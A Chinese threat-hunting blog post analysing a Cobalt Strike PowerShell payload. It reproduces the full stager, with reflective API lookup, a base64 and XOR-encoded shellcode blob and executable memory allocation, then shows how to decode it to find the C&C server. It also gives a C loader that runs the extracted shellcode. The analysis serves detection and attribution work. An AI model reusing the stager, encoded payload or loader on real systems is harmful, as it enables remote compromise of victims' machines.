威胁狩猎tips 210827-210916

VSole2021-09-16 22:40:57

Part 1样本分析

01

CS powershell payload分析

CS powershell的代码如下所示

Set-StrictMode -Version 2
function func_get_proc_address {  Param ($var_module, $var_procedure)      $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')  $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))  return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))}
function func_get_delegate_type {  Param (    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,    [Parameter(Position = 1)] [Type] $var_return_type = [Void]  )
  $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])  $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')  $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
  return $var_type_builder.CreateType()}
If ([IntPtr]::size -eq 8) {  [Byte[]]$var_code = [System.Convert]::FromBase64String('32ugx9PL6yMjI2JyYnNxcnVrEvFGa6hxQ2uocTtrqHEDa6hRc2sslGlpbhLqaxLjjx9CXyEPA2Li6i5iIuLBznFicmuocQOoYR9rIvNFols7KCFWUaijqyMjI2um41dEayLzc6hrO2eoYwNqIvPAdWvc6mKoF6trIvVuEuprEuOPYuLqLmIi4hvDVtJvIG8HK2Ya8lb7e2eoYwdqIvNFYqgva2eoYz9qIvNiqCerayLzYntie316eWJ7YnpieWugzwNicdzDe2J6eWuoMcps3Nzcfkkjap1USk1KTUZXI2J1aqrFb6rSYplvVAUk3PZrEuprEvFuEuNuEupic2JzYpkZdVqE3PbIUHlrquJim7M8IyNuEupicmJySSBicmKZdKq85dz2yHp4a6riaxLxaqr7bhLqcUsjIWOncXFimch2DRjc9muq5Wug4HNJKXxrqtJrqvlq5OPc3NzcbhLqcXFimQ4lO1jc9qbjLKa+IiMja9zsLKevIiMjyPDKxyIjI8uB3NzcDBFFUncjijb/JdOBccoNCfRt/gYE1C5KBfph47IcCRbhkDT/M/HH9TaPwbugyN0Hk5C7ZdVaogVoUoMzA/7VhgWCqlRmzKkHroKnePbfWSN2UEZRDmJERk1XGQNuTFlKT09CDBcNEwMLQExOU0JXSkFPRhgDbnBqZgMUDRMYA3RKTUdMVFADbXcDFQ0TCi4pI0D4ETbyn30sxC5WfeAk/O6zzJxBKD2hmdj0Tlx7EWIveQApd5mSzwcIaPpoAqvEFO3nCppyVcu7DYvCY4xpIyYnAR3ZHustK/fU5pDVsuzT+GZt1Pf9l/yybwhvmif1EQaA+wGPlwio/AMbNhglHXKWB7Dgl7Gfi5yXtgXQilsezEFpKQxaB9Ltr5NXLIolvj3JK9s8beuLUw8Whx1L3gbAqGOF320Fc2T88oRDJrdz8A3WASvTwA3xIkgN7B9QtB0Rnb16X+wMXWoIuyxGyZNcdUeuFwwrScbulKx8qaRhCaXzWSChFrPnoHtgdQcjYp3TloF13PZrEuqZIyNjI2KbIzMjI2KaYyMjI2KZe4dwxtz2a7BwcGuqxGuq0muq+WKbIwMjI2qq2mKZMbWqwdz2a6DnA6bjV5VFqCRrIuCm41b0e3t7ayYjIyMjc+DLvN7c3BINEhYNEhYUDRERGiMxF3Vb')
  for ($x = 0; $x -lt $var_code.Count; $x++) {    $var_code[$x] = $var_code[$x] -bxor 35  }
  $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))  $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)  [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
  $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))

可以看到相关的解密代码如下所示

for ($x = 0; $x -lt $var_code.Count; $x++) {    $var_code[$x] = $var_code[$x] -bxor 35   }

从FromBase64String函数处提取payload,并用base64和异或进行解密

可以用CyberChef帮助我们进行解密

https://gchq.github.io/CyberChef/#recipe=To_Base64('A-Za-z0-9%2B/%3D')XOR(%7B'option':'Decimal','string':'35'%7D,'Standard',false)

解码后可以识别到对应的C&C

也可以提取对应的shellcode

https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)XOR(%7B'option':'Decimal','string':'35'%7D,'Standard',false)To_Hex('Space',0)

shellcode如下所示

fc 48 83 e4 f0 e8 c8 00 00 00 41 51 41 50 ...

用python进行格式化

sc = [int(b, 16) for b in open("sc.hex").read().split()]    open("sc.bin", "w").write("".join([chr(n) for n in sc]))

之后可以用加载器来测试

#include #include #include 
/* * Compile with: * cl /nologo /EHsc test-sc.cpp /Fe:sc.exe * */const char* shellcode =  "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51"  ...";
typedef void (*funcPtr)();
int main(int argc, char** argv) {  void* addr = VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  if (!addr) {    printf("[-] Failed to allocate memory!");    return -1;  }
  memcpy(addr, shellcode, 4096);  funcPtr fp = (funcPtr)(addr);  fp();}

sc调试如下图

C&C如下所示

Part 2

检测工具

01

grab_beacon_config

grab_beacon_config是一款提取CS server 服务器beacon配置信息的脚本,能够帮助我们溯源反制黑客的攻击,降低资产的风险

var
本作品采用《CC 协议》,转载必须注明作者和本文链接
据外媒报道,在检测到其系统受到网络攻击近两周后,德国电池制造商Varta AG仍未恢复其工厂的生产。该公司生产各种用于家用和工业用途的电池和存储产品,包括锂离子小型化电池和移动电源。Varta AG首次检测到对其系统的网络攻击2月12日,其本周发表声明称,目前没有可靠的信息表明处理和解决攻击需要多长时间,或者所有五个全球生产基地的何时将全面投入运营。然而,工厂的第一批预计将在下周再次启动。
第十一届信息安全漏洞分析与风险评估大会9月16日,2018世界物联网博览会信息安全高峰论坛暨第十一届信息安全漏洞分析与风险评估大会在无锡市滨湖区成功举办。来自政府相关主管部门、重要行业、高等院校、研究机构、物联网产业界、信息安全产业界等近千名中外嘉宾参加了大会。来自政府部门、高等院校、研究机构、信息安全产业界及应用单位的800余名嘉宾参加了大会。
/usr/目录usr是user的缩写,是曾经的HOME目录,然而现在已经被/home取代了,现在usr被称为是Unix System Resource,即Unix系统资源的缩写。默认软件都会存于该目录下。用于存储只读用户数据的第二层次;包含绝大多数的用户工具和应用程序。
作为世界物联网博览会高峰论坛之一的“2021世界物联网博览会信息安全高峰论坛暨第十三届信息安全漏洞分析与风险评估大会”,将于10月22日召开。
“2021世界物联网博览会信息安全高峰论坛暨第十三届信息安全漏洞分析与风险评估大会”(VARA大会)将于10月22日在江苏省无锡市召开。
Python人工智能第11篇文章介绍如何保存神经网络参数
动态函数PHP中支持一个功能叫 variable function ,变量函数的意思。//最终是system;当一个变量后边带括号,那他就被视作一个函数。编译器会解析出变量的值,然后会去找当前是否存在名为“system()”的函数并执行它。这里就不给实例了,很多免杀案例中都用到了这个特性。也是被疯狂查杀的特征。回调函数回调函数,简单来说就是一个函数不是由我直接调用,而是通过另一个函数去调用它。
1Docker 迁移存储目录默认情况系统会将 Docker 容器存放在 /var/lib/docker 目录下[问题起因]?今天通过监控系统,发现公司其中一台服务器的磁盘快慢,随即上去看了下,发现?由上述原因,我们都知道,在?中存储的都是相关于容器的存储,所以也不能随便的将其删除掉。设备进行扩容来达到相同的目的。的详细参数,请点击查看?但是需要注意的一点就是,尽量不要用软链, 因为一些?容器编排系统不支持这样做,比如我们所熟知的?发现容器启动不了了
在本次2022 RSAC会议中,来自Varonis公司的Matt Radolec分享了议题《Pain in the Apps — Three Attack Scenarios Attackers Are Using to PWN SaaS》,主要介绍了三种针对SaaS平台的攻击场景,详细地说明了每个阶段攻击者的攻击手法以及对应的检测思路
Meta Platforms 近日采取了一系列措施制裁来自意大利、西班牙和阿拉伯等多国的八家间谍软件公司,分别是 Cy4Gate/ELT Group、RCS Labs、IPS Intelligence、Variston IT、TrueL IT、Protect Electronic Systems、Negg Group 和 Mollitiam Industries。
VSole
网络安全专家